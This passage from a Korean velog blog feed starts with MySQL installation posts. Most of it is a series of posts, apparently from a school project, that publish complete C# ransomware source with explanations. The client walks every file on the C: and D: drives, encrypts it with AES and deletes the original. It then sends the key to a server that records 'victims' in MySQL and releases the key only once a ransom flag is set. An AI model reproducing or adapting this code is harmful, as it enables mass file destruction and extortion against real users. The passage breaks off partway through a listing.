$ mysql.server stop</code></pre></li>
<li><p>MySQL이 잘 설치되었는지 확인도 꼭 해봅시다.
<img src="https://images.velog.io/images/developerkerry/post/289ab160-e9e4-4f16-89ae-0ec6c9b538df/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-08-26%20%EC%98%A4%ED%9B%84%209.33.57.png" alt=""></p>
</li>
</ul>
<h3 id="3-linux의-경우">3. Linux의 경우</h3>
<h4 id="1-설치-1">1) 설치</h4>
<ul>
<li>아래 명령으로 MySQL을 설치할 수 있습니다.<pre><code>$ sudo apt-get update
$ sudo apt-get install mysql-server</code></pre></li>
<li>만약 MySQL 5.7을 설치하고 싶다면 아래 명령을 사용합니다.<pre><code>$ sudo apt-get update
$ sudo apt-get install mysql-server-5.7</code></pre><h4 id="2설정">2)설정</h4>
</li>
<li>root 패스워드 설정을 하려면 다음 명령을 입력합니다.<pre><code>$ sudo mysql
mysql&gt; SET PASSWORD FOR &#39;root&#39;@&#39;localhost&#39; = PASSWORD(&#39;test&#39;);</code></pre></li>
</ul>
<h4 id="3-mysql-시작-및-종료">3) MySQL 시작 및 종료</h4>
<ul>
<li><p>Ubuntu의 경우 다음 명령어를 이용해 MySQL을 시작할 수 있습니다.</p>
<pre><code>$ service mysql start</code></pre></li>
<li><p>CentOS6의 경우 다음 명령어를 이용해 MySQL을 시작할 수 있습니다.</p>
<pre><code>$ service mysqld start</code></pre></li>
<li><p>CentOS7의 경우 다음 명령어를 통해 MySQL을 시작할 수 있습니다.</p>
<pre><code>$ service start mysqld</code></pre></li>
<li><p>Ubuntu의 경우 다음 명령어를 이용해 MySQL을 종료할 수 있습니다.</p>
<pre><code>$ service mysql stop</code></pre></li>
<li><p>CentOS6의 경우 다음 명령어를 이용해 MySQL을 종료할 수 있습니다.</p>
<pre><code>$ service mysqld stop</code></pre></li>
<li><p>CentOS7의 경우 다음 명령어를 통해 MySQL을 종료할 수 있습니다.</p>
<pre><code>$ service stop mysqld</code></pre></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[MySQL] MySQL이란 무엇인가?]]></title>
            <link>https://velog.io/@dev_benedictus/MySQL-MySQL%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@dev_benedictus/MySQL-MySQL%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Thu, 15 Dec 2022 17:00:27 GMT</pubDate>
            <description><![CDATA[<h3 id="1-설명">1. 설명</h3>
<p>MySQL은 Oracle사에서 관리 및 지원중인 관계형 데이터베이스 관리 시스템입니다. MySQL에서는 SQL문을 이용해 데이터베이스를 만들고, 데이터베이스 내부에 테이블을 생성하고, 테이블에 데이터를 생성하고/읽고/변경하고/삭제(CRUD: Create/Read/Update/Delete)할 수 있습니다.</p>
<h3 id="2-데이터베이스란">2. 데이터베이스란?</h3>
<ul>
<li>MySQL에서 데이터베이스란, 여러 테이블(표)의 집합을 말합니다.</li>
<li>예를 들어, student_info라는 데이터베이스가 있다고 가정합시다.</li>
<li>그러면, 학생의 개인정보가 저장되어 있는 테이블, 상벌점 기록이 저장되어 있는 테이블 등이 student_info라는 데이터베이스로 묶여 있게 됩니다.</li>
</ul>
<p><img src="https://images.velog.io/images/developerkerry/post/c6035ebf-8e4a-4063-9387-9d3c268779b0/Untitled%20Diagram.png" alt=""></p>
<ul>
<li>위 그림에서 student_info가 &#39;데이터베이스&#39;이며, 그 안에는 &#39;student_list&#39; 테이블과 &#39;points&#39; 테이블이 존재합니다.</li>
<li>이처럼 여러 테이블을 묶어놓은 모음을 Database라 하는 것입니다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] 랜섬웨어 전체 코드]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4-%EC%A0%84%EC%B2%B4-%EC%BD%94%EB%93%9C</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4-%EC%A0%84%EC%B2%B4-%EC%BD%94%EB%93%9C</guid>
            <pubDate>Thu, 15 Dec 2022 16:58:56 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/d5b39096-8f25-4078-8393-64f5a56548ce/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-07-31%20%EC%98%A4%ED%9B%84%203.49.08.png" alt=""></p>
<p>GitHub: <a href="https://github.com/benkerry/gukwon-ransomware">https://github.com/benkerry/gukwon-ransomware</a></p>
<h3 id="-utilscs"># Utils.cs</h3>
<pre><code>namespace Utils
{
    public struct KeySet
    {
        public byte[] Key;
        public byte[] IV;
    }

    public static class ArrayAppender
    {
        public static void Append&lt;T&gt;(ref T[] a, T[] b)
        {
            T[] result = new T[a.Length + b.Length];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }
            for(int i = a.Length; i &lt; a.Length + b.Length; i++)
            {
                result[i] = b[i - a.Length];
            }

            a = result;
        }

        public static void Append&lt;T&gt;(ref T[] a, T b)
        {
            T[] result = new T[a.Length + 1];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }

            result[a.Length] = b;
            a = result;
        }
    }

    public static class CONSTANTS
    {
        public static int FAIL = 0x00;
        public static int SUCCESS = 0x01;
        public static int SEND_KEY = 0x02;
        public static int DECRYPT_REQ = 0x03;
    }
}
</code></pre><ul>
<li>두 배열을 합치거나, 배열에 하나의 데이터를 추가하는 기능을 가진 ArrayAppender Static Class가 있다.</li>
<li>ArrayAppender.Append 메서드는 메서드 오버로딩이 되어 있다. 두 배열 T[] a, T[] b를 인자로 받는 메서드, 한 배열과 하나의 데이터 T[] a, T b를 인자로 받는 메서드가 바로 그것이다.</li>
<li>CONSTANTS Static Class에는 Server-Client 간 통신에 필요한 상수들이 선언되어 있다.</li>
<li>gukwon-ransomeware-client와 gukwon-ransomware-server가 공통적으로 사용하는 라이브러리 프로젝트로 되어 있다.</li>
</ul>
<h3 id="-client-filepathgettercs"># (Client) FilePathGetter.cs</h3>
<pre><code>using System.IO;

using Utils;

namespace gukwon_ransomeware_client
{
    public class FilePathGetter
    {
        private string[] allFilePathes;

        public FilePathGetter()
        {
            allFilePathes = new string[0];
        }

        public string[] GetAllFilePathes(string[] dirPathes)
        {
            for (int i = 0; i &lt; dirPathes.Length; i++)
            {
                if(Directory.Exists(dirPathes[i]))
                    GetAllFilePathes(new DirectoryInfo(dirPathes[i]));
            }

            return allFilePathes;
        }

        private void GetAllFilePathes(DirectoryInfo dirInfo)
        {            
            FileInfo[] files = dirInfo.GetFiles();
            DirectoryInfo[] dirs = dirInfo.GetDirectories();
            string[] pathes = new string[files.Length];

            if (dirInfo.FullName.ToUpper().Contains(&quot;SYSTEM&quot;))
                return;

            for (int i = 0; i &lt; files.Length; i++)
            {
                pathes[i] = files[i].FullName;
            }

            ArrayAppender.Append(ref allFilePathes, pathes);

            for(int i = 0; i &lt; dirs.Length; i++)
            {
                GetAllFilePathes(dirs[i]);
            }
        }
    }
}
</code></pre><ul>
<li>당 클래스의 인스턴스를 만들고, [인스턴스명].GetAllFilePathes를 해주면 GetAllFilePathes의 파라미터로 전달된 string 배열에 담긴 경로 하위의 모든 파일 경로가 구해져 string 배열에 담겨 리턴된다. 재귀함수를 이용해 구현하였다.</li>
</ul>
<h3 id="-client-encryptorcs"># (Client) Encryptor.cs</h3>
<pre><code>using System.IO;
using System.Security.Cryptography;

namespace gukwon_ransomeware_client
{
    public class Encryptor
    {        
        private RijndaelManaged aes;
        public Utils.KeySet keySet;

        public Encryptor()
        {
            aes = new RijndaelManaged();

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.GenerateKey();
            aes.GenerateIV();
        }

        public Utils.KeySet EncryptFiles(string[] pathes)
        {
            int count;
            int blockSizeBytes = aes.BlockSize / 8;
            byte[] data = new byte[blockSizeBytes];
            Utils.KeySet keySet;
            FileStream inFs;
            FileStream outFs;
            CryptoStream cryptoStream;

            for (int i = 0; i &lt; pathes.Length; i++)
            {
                if (File.Exists(pathes[i]))
                {
                    inFs = new FileStream(pathes[i], FileMode.Open);
                    outFs = new FileStream(pathes[i] + &quot;.encrypted&quot;, FileMode.Create);
                    cryptoStream = new CryptoStream(outFs, aes.CreateEncryptor(), CryptoStreamMode.Write);

                    do
                    {
                        count = inFs.Read(data, 0, blockSizeBytes);
                        cryptoStream.Write(data, 0, count);
                    }
                    while (count &gt; 0);

                    inFs.Close();

                    cryptoStream.FlushFinalBlock();
                    cryptoStream.Close();

                    outFs.Close();

                    File.Delete(pathes[i]);
                }
            }

            keySet.Key = aes.Key;
            keySet.IV = aes.IV;

            return keySet;
        }
    }
}
</code></pre><ul>
<li>파일 암호화를 담당하는 클래스이다.</li>
<li>Key와 IV는 자동 생성되며, EncryptFiles 메서드가 KeySet에 담아 리턴하게 된다.</li>
<li>인스턴스를 만들고 [인스턴스명].EncryptFiles 메서드를 호출하면 된다. 그러면 EncryptFiles의 인자로 주어진 파일 경로의 파일들이 모두 임의의 Key, IV로 AES 암호화가 된다.</li>
<li>[인스턴스명].EncryptFiles 메서드는 KeySet Type 데이터를 리턴하는데, byte[] Key와 byte[] IV가 모두 담긴 구조체이다.</li>
</ul>
<h3 id="-client-decryptorcs"># (Client) Decryptor.cs</h3>
<pre><code>using System.IO;
using System.Security.Cryptography;

namespace gukwon_ransomeware_client
{
    public class Decryptor
    {
        private RijndaelManaged aes;

        public Decryptor(byte[] Key, byte[] IV)
        {
            aes = new RijndaelManaged();

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.Key = Key;
            aes.IV = IV;
        }

        public void DecryptFiles(string[] pathes)
        {
            int count;
            int blockSizeBytes = aes.BlockSize / 8;
            byte[] data = new byte[blockSizeBytes];
            FileStream inFs;
            FileStream outFs;
            CryptoStream cryptoStream;

            for (int i = 0; i &lt; pathes.Length; i++)
            {
                if (File.Exists(pathes[i] + &quot;.encrypted&quot;))
                {
                    inFs = new FileStream(pathes[i] + &quot;.encrypted&quot;, FileMode.Open);
                    outFs = new FileStream(pathes[i], FileMode.Create);
                    cryptoStream = new CryptoStream(outFs, aes.CreateDecryptor(), CryptoStreamMode.Write);

                    do
                    {
                        count = inFs.Read(data, 0, blockSizeBytes);
                        cryptoStream.Write(data, 0, count);
                    }
                    while (count &gt; 0);

                    inFs.Close();

                    cryptoStream.FlushFinalBlock();
                    cryptoStream.Close();

                    outFs.Close();

                    File.Delete(pathes[i] + &quot;.encrypted&quot;);
                }
            }
        }
    }
}
</code></pre><ul>
<li>파일 복호화를 담당하는 클래스이다.</li>
<li>인스턴스를 생성 시, 생성자에서 byte[] Key와 byte[] IV를 인자로 받는다. </li>
<li>[인스턴스명].DecryptFiles에 파일 경로 string 배열을 넘겨주면 해당 배열 안에 들어있는 경로의 파일이 생성자에서 받았던 Key와 IV로 복호화 된다.</li>
</ul>
<h3 id="-client-programcs"># (Client) Program.cs</h3>
<pre><code>using System;
using System.IO;
using System.Timers;
using System.Net.Sockets;
using System.Net.NetworkInformation;

using Utils;

namespace gukwon_ransomeware_client
{
    class Program
    {
        static string[] pathes = new string[0];

        static void Elapsed(object src, ElapsedEventArgs e)
        {
            string base64_key = null, base64_iv = null;
            TcpClient client = new TcpClient(&quot;localhost&quot;, 4444);
            NetworkStream stream = client.GetStream();
            BinaryWriter wtr = new BinaryWriter(stream);
            BinaryReader rdr = new BinaryReader(stream);
            Decryptor decryptor;

            wtr.Write(CONSTANTS.DECRYPT_REQ);
            wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
            wtr.Close();

            switch (rdr.ReadInt32())
            {
                case 0x00:
                    base64_key = rdr.ReadString();
                    base64_iv = rdr.ReadString();
                    break;
                case 0x01:
                    rdr.Close();
                    wtr.Close();
                    stream.Close();
                    client.Close();
                    return;
            }

            decryptor = new Decryptor(Convert.FromBase64String(base64_key), Convert.FromBase64String(base64_iv));
            decryptor.DecryptFiles(pathes);

            rdr.Close();
            wtr.Close();
            stream.Close();
            client.Close();
        }

        static void Main()
        {
            Timer timer = new Timer(1000 * 60 * 5);
            Console.WriteLine(&quot;실행 중 종료시 파일들이 손상될 수 있습니다. . .&quot;);

            if (File.Exists(&quot;data.dat&quot;))
            {
                BinaryReader rdr = new BinaryReader(new FileStream(&quot;data.dat&quot;, FileMode.Open));

                pathes = new string[rdr.ReadInt32()];

                for (int i = 0; i &lt; pathes.Length; i++)
                {
                    pathes[i] = rdr.ReadString();
                }

                rdr.Close();
            }
            else
            {
                KeySet keySet;
                string macaddr, base64_key, base64_iv;
                BinaryWriter wtr;
                FilePathGetter pathGetter = new FilePathGetter();
                Encryptor encryptor = new Encryptor();
                TcpClient client;
                NetworkStream stream;

                if (Directory.Exists(&quot;C:\\&quot;))
                {
                    pathes = pathGetter.GetAllFilePathes(new string[1] { &quot;C:\\&quot; });
                }
                if (Directory.Exists(&quot;D:\\&quot;))
                {
                    ArrayAppender.Append(ref pathes, pathGetter.GetAllFilePathes(new string[1] { &quot;D:\\&quot; }));
                }

                keySet = encryptor.EncryptFiles(pathes);

                wtr = new BinaryWriter(new FileStream(&quot;data.dat&quot;, FileMode.Create));
                wtr.Write(pathes.Length);

                for (int i = 0; i &lt; pathes.Length; i++)
                {
                    wtr.Write(pathes[i]);
                }

                wtr.Close();

                macaddr = NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString();
                base64_key = Convert.ToBase64String(keySet.Key);
                base64_iv = Convert.ToBase64String(keySet.IV);

                client = new TcpClient(&quot;localhost&quot;, 4444);
                stream = client.GetStream();
                wtr = new BinaryWriter(stream);

                wtr.Write(CONSTANTS.SEND_KEY);
                wtr.Write(macaddr);
                wtr.Write(base64_key);
                wtr.Write(base64_iv);

                wtr.Close();

                stream.Close();
                client.Close();
            }
            timer.Elapsed += Elapsed;
            timer.Start();
        }
    }
}
</code></pre><ul>
<li>최초 실행 시 C:\와 D:\ 하위의 모든 파일 경로를 구한다. 그리고 그것을 data.dat에 저장한다.</li>
<li>구한 모든 파일 경로 정보를 이용, 모든 파일을 Encryptor 클래스의 인스턴스로 암호화 진행한다.</li>
<li>그리고 서버로 Key와 IV를 BASE64로 인코딩하여 전송한다.</li>
<li>5분마다 공격자의 요구가 충족되었는지를 서버에 질의한다. 이 때, 응답의 첫 32비트의 값이 0이면 요구가 충족되지 않은 상태이며, 1이면 요구가 충족된 상태이다.</li>
<li>응답의 첫 32비트의 값이 0이면 그냥 함수를 return 해버리고, 1이면 그 뒤에 붙어있는 BASE64 Encoded Key와 BASE64 Encoded IV를 읽어온다.</li>
<li>Key와 IV를 성공적으로 읽어왔다면, 해당 정보를 이용해 모든 파일을 Decryptor 클래스의 인스턴스로 복호화 진행한다.</li>
</ul>
<h3 id="-server-programcs"># (Server) Program.cs</h3>
<pre><code>using System.IO;
using System.Net;
using System.Net.Sockets;

using Utils;
using MySql.Data.MySqlClient;

namespace gukwon_ransomware_server
{
    class Program
    {
        static void Main()
        {
            int mode;
            string macaddr, base64_key, base64_iv;
            TcpListener server = new TcpListener(IPAddress.Any, 4444);
            TcpClient client;
            NetworkStream netStream;
            BinaryReader rdr;
            BinaryWriter wtr;
            MySqlConnection conn;
            MySqlCommand cmd;
            MySqlDataReader sqlrdr;

            server.Start();

            while (true)
            {
                client = server.AcceptTcpClient();

                conn = new MySqlConnection(&quot;Server=localhost;Database=gukwon_ransomware;Uid=root;Pwd=test;&quot;);
                conn.Open();

                netStream = client.GetStream();
                rdr = new BinaryReader(netStream);

                mode = rdr.ReadInt32();
                macaddr = rdr.ReadString();

                if (mode == CONSTANTS.SEND_KEY)
                {
                    base64_key = rdr.ReadString();
                    base64_iv = rdr.ReadString();

                    cmd = new MySqlCommand(string.Format(&quot;INSERT INTO victims(mac_addr, keystring, ivstring) VALUES(\&quot;{0}\&quot;, \&quot;{1}\&quot;, \&quot;{2}\&quot;;&quot;, macaddr, base64_key, base64_iv));
                    cmd.ExecuteNonQuery();

                    conn.Close();
                    cmd.Dispose();
                    rdr.Close();
                    netStream.Close();
                    client.Close();
                }
                else
                {
                    cmd = new MySqlCommand(string.Format(&quot;SELECT keystring, ivstring FROM victims WHERE macaddr=\&quot;{0}\&quot; AND satisfied = 1&quot;));
                    sqlrdr = cmd.ExecuteReader();

                    if (sqlrdr.HasRows)
                    {
                        rdr.Close();

                        sqlrdr.Read();
                        wtr = new BinaryWriter(netStream);
                        wtr.Write(CONSTANTS.SUCCESS);
                        wtr.Write(sqlrdr[&quot;keystring&quot;].ToString());
                        wtr.Write(sqlrdr[&quot;ivstring&quot;].ToString());

                        wtr.Close();
                        conn.Close();
                        cmd.Dispose();
                        netStream.Close();
                        client.Close();
                    }
                    else
                    {
                        wtr = new BinaryWriter(netStream);
                        wtr.Write(CONSTANTS.FAIL);

                        wtr.Close();
                        conn.Close();
                        cmd.Dispose();
                        rdr.Close();
                        netStream.Close();
                        client.Close();
                    }
                }
            }
        }
    }
}
</code></pre><ul>
<li>감염자 발생 시, 감염자로부터 날아온 MAC 주소, BASE64 Encoded Key, BASE64 Encoded IV를 MySQL DB에 넣는다.</li>
<li>공격자 요구 충족 여부를 확인하려는 통신이 날아왔을 때에는 MySQL DB를 조회해 요구가 충족되었는지 확인하고, 충족되지 않았다면 32비트 0을 응답으로 보낸다. 충족된 경우에는 32비트 1 / BASE64 Encoded Key / BASE64 Encoded IV를 응답으로 보낸다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Server]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Server</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Server</guid>
            <pubDate>Thu, 15 Dec 2022 16:48:47 GMT</pubDate>
            <description><![CDATA[<pre><code>using System;
using System.IO;
using System.Timers;
using System.Net;
using System.Net.Sockets;

using Utils;
using MySql.Data.MySqlClient;

namespace gukwon_ransomware_server
{
    class Program
    {
        static void Main()
        {
            int mode, len;
            string macaddr, cmdString;
            string strconn = &quot;Server=localhost;Database=gukwon_ransomware;Uid=root;Pwd=test;&quot;;
            byte[] key, iv;
            BinaryReader rdr;
            BinaryWriter wtr;
            TcpListener listener = new TcpListener(IPAddress.Any, 4444);
            TcpClient client;
            NetworkStream stream;
            MySqlConnection conn;
            MySqlCommand cmd;
            MySqlDataReader sqlrdr;

            listener.Start();

            while (true)
            {
                client = listener.AcceptTcpClient();
                conn = new MySqlConnection(strconn);
                conn.Open();
                stream = client.GetStream();
                rdr = new BinaryReader(stream);

                mode = rdr.ReadInt32();
                macaddr = rdr.ReadString();

                if(mode == CONSTANTS.SEND_KEY)
                {
                    len = rdr.ReadInt32();
                    key = rdr.ReadBytes(len);
                    len = rdr.ReadInt32();
                    iv = rdr.ReadBytes(len);

                    rdr.Close();

                    cmdString = string.Format(&quot;INSERT INTO victims(mac_addr, keystring, ivstring) VALUES(\&quot;{0}\&quot;, \&quot;{1}\&quot;, \&quot;{2}\&quot;);&quot;, macaddr, Convert.ToBase64String(key), Convert.ToBase64String(iv));
                    cmd = new MySqlCommand(cmdString, conn);
                    cmd.ExecuteNonQuery();
                }
                else if(mode == CONSTANTS.DECRYPT_REQ)
                {
                    macaddr = rdr.ReadString();
                    rdr.Close();

                    cmdString = string.Format(&quot;SELECT key, iv FROM victims WHERE mac_addr = \&quot;{0}\&quot; AND satisfied = 1&quot;, macaddr);
                    cmd = new MySqlCommand(cmdString, conn);
                    sqlrdr = cmd.ExecuteReader();
                    wtr = new BinaryWriter(stream);
                    sqlrdr.Read();

                    if (sqlrdr.HasRows)
                    {
                        wtr.Write(CONSTANTS.SUCCESS);
                        wtr.Write(sqlrdr[&quot;keystring&quot;].ToString());
                        wtr.Write(sqlrdr[&quot;ivstring&quot;].ToString());
                        sqlrdr.Close();
                    }
                    else
                    {
                        wtr.Write(CONSTANTS.FAIL);
                        wtr.Close();
                    }
                }

                stream.Close();
                client.Close();                
            }
        }
    }
}
</code></pre><ul>
<li>간단하게 MySql.Data와 TcpListener를 이용해 만들었다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Program.cs]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Program.cs</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Program.cs</guid>
            <pubDate>Thu, 15 Dec 2022 16:48:27 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/4ad24ec0-2efb-4f7c-8854-2a8de7c7d391/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-07-30%20%EC%98%A4%ED%9B%84%205.46.06.png" alt=""></p>
<pre><code>using System;
using System.IO;
using System.Timers;
using System.Net.Sockets;
using System.Net.NetworkInformation;

using Utils;

namespace gukwon_ransomeware_client
{
    class Program
    {
        static string[] pathes = new string[0];

        static void OnTimedEvent(object source, ElapsedEventArgs e)
        {
            BinaryReader rdr;
            BinaryWriter wtr;
            TcpClient client;
            Decryptor decryptor;
            byte[] key, iv;

            client = new TcpClient(&quot;127.0.0.1&quot;, 4444);

            wtr = new BinaryWriter(client.GetStream());
            wtr.Write(CONSTANTS.DECRYPT_REQ);
            wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
            wtr.Close();

            rdr = new BinaryReader(client.GetStream());
            if(rdr.ReadInt32() == CONSTANTS.SUCCESS)
            {
                key = Convert.FromBase64String(rdr.ReadString());
                iv = Convert.FromBase64String(rdr.ReadString());
                decryptor = new Decryptor(key, iv);
                decryptor.DecryptFiles(pathes);
            }
        }

        static void Main()
        {
            Timer timer;
            Console.WriteLine(&quot;실행 중 종료시 파일들이 손상될 수 있습니다. . .&quot;);

            if (File.Exists(&quot;data.dat&quot;))
            {
                BinaryReader rdr = new BinaryReader(new FileStream(&quot;data.dat&quot;, FileMode.Open));

                pathes = new string[rdr.ReadInt32()];

                for(int i = 0; i &lt; pathes.Length; i++)
                {
                    pathes[i] = rdr.ReadString();
                }

                rdr.Close();
            }
            else
            {
                KeySet keySet;
                BinaryWriter wtr;
                FilePathGetter pathGetter = new FilePathGetter();
                Encryptor encryptor = new Encryptor();
                TcpClient client;
                NetworkStream stream;

                if (Directory.Exists(&quot;C:\\&quot;))
                {
                    pathes = pathGetter.GetAllFilePathes(new string[1] { &quot;C:\\&quot; });
                }
                if (Directory.Exists(&quot;D:\\&quot;))
                {
                    ArrayAppender.Append(ref pathes, pathGetter.GetAllFilePathes(new string[1] { &quot;D:\\&quot; }));
                }

                keySet = encryptor.EncryptFiles(pathes);

                wtr = new BinaryWriter(new FileStream(&quot;data.dat&quot;, FileMode.Create));
                wtr.Write(pathes.Length);

                for (int i = 0; i &lt; pathes.Length; i++)
                {
                    wtr.Write(pathes[i]);
                }

                wtr.Close();

                client = new TcpClient(&quot;127.0.0.1&quot;, 4444);
                wtr = new BinaryWriter(client.GetStream());
                wtr.Write(CONSTANTS.SEND_KEY);
                wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
                wtr.Write(keySet.Key.Length);
                wtr.Write(keySet.Key);
                wtr.Write(keySet.IV.Length);
                wtr.Write(keySet.IV);

                wtr.Close();
                client.Close();
            }

            timer = new Timer(1000 * 60 * 5);
            timer.Elapsed += OnTimedEvent;
            timer.Enabled = true;
        }
    }
}</code></pre><ul>
<li>최초 실행시 모든 파일 경로 구하여 암호화 수행</li>
<li>모든 파일 경로는 별도의 파일을 생성하여 저장</li>
<li>일정 시간마다 공격자의 요구를 충족했는지 확인하는 패킷을 서버로 전송</li>
<li>요구 충족되어 Key와 IV가 들어있는 패킷이 들어왔을 시 복호화 수행 및 프로그램 종료</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Utils Class(4)]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class4</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class4</guid>
            <pubDate>Thu, 15 Dec 2022 16:48:04 GMT</pubDate>
            <description><![CDATA[<pre><code>using System.IO;
using System.Net;
using System.Text.Json;
using System.Net.NetworkInformation;

namespace Utils
{
    public struct KeySet
    {
        public byte[] Key;
        public byte[] IV;
    }

    public static class ArrayAppender
    {
        public static void Append&lt;T&gt;(ref T[] a, T[] b)
        {
            T[] result = new T[a.Length + b.Length];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }
            for(int i = a.Length; i &lt; a.Length + b.Length; i++)
            {
                result[i] = b[i - a.Length];
            }

            a = result;
        }

        public static void Append&lt;T&gt;(ref T[] a, T b)
        {
            T[] result = new T[a.Length + 1];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }

            result[a.Length] = b;
            a = result;
        }
    }

    public static class CONSTANTS
    {
        public static int FAIL = 0x00;
        public static int SUCCESS = 0x01;
        public static int SEND_KEY = 0x02;
        public static int DECRYPT_REQ = 0x03;
    }
}
</code></pre><ul>
<li>통신을 위한 상수의 선언을 추가하였다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Decryptor Class]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Decryptor-Class</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Decryptor-Class</guid>
            <pubDate>Thu, 15 Dec 2022 16:47:29 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/4165042c-ff29-4d13-bfca-4df952cb7f54/Decryptor.png" alt=""></p>
<pre><code>using System.IO;
using System.Security.Cryptography;

namespace gukwon_ransomeware_client
{
    public class Decryptor
    {
        private RijndaelManaged aes;

        public Decryptor(byte[] Key, byte[] IV)
        {
            aes = new RijndaelManaged();

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.Key = Key;
            aes.IV = IV;
        }

        public void DecryptFiles(string[] pathes)
        {
            int count;
            int blockSizeBytes = aes.BlockSize / 8;
            byte[] data = new byte[blockSizeBytes];
            FileStream inFs;
            FileStream outFs;
            CryptoStream cryptoStream;

            for (int i = 0; i &lt; pathes.Length; i++)
            {
                if (File.Exists(pathes[i] + &quot;.encrypted&quot;))
                {
                    inFs = new FileStream(pathes[i] + &quot;.encrypted&quot;, FileMode.Open);
                    outFs = new FileStream(pathes[i], FileMode.Create);
                    cryptoStream = new CryptoStream(outFs, aes.CreateDecryptor(), CryptoStreamMode.Write);

                    do
                    {
                        count = inFs.Read(data, 0, blockSizeBytes);
                        cryptoStream.Write(data, 0, count);
                    }
                    while (count &gt; 0);

                    inFs.Close();

                    cryptoStream.FlushFinalBlock();
                    cryptoStream.Close();

                    outFs.Close();

                    File.Delete(pathes[i] + &quot;.encrypted&quot;);
                }
            }
        }
    }
}
</code></pre><ul>
<li>파일 경로 리스트를 인자로 받아 해당 파일 경로의 파일을 복호화하는 역할을 하는 메서드를 가진 클래스이다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Encryptor Class]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Encryptor-Class</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Encryptor-Class</guid>
            <pubDate>Thu, 15 Dec 2022 16:46:32 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/c4c6a868-05a6-430e-a0a9-e2689bd05a9e/Encryptor.png" alt=""></p>
<pre><code>using System.IO;
using System.Security.Cryptography;

namespace gukwon_ransomeware_client
{
    public class Encryptor
    {
        public struct KeySet
        {
            public byte[] Key;
            public byte[] IV;
        }

        private RijndaelManaged aes;
        public KeySet keySet;

        public Encryptor()
        {
            aes = new RijndaelManaged();

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.GenerateKey();
            aes.GenerateIV();
        }

        public KeySet EncryptFiles(string[] pathes)
        {
            int count;
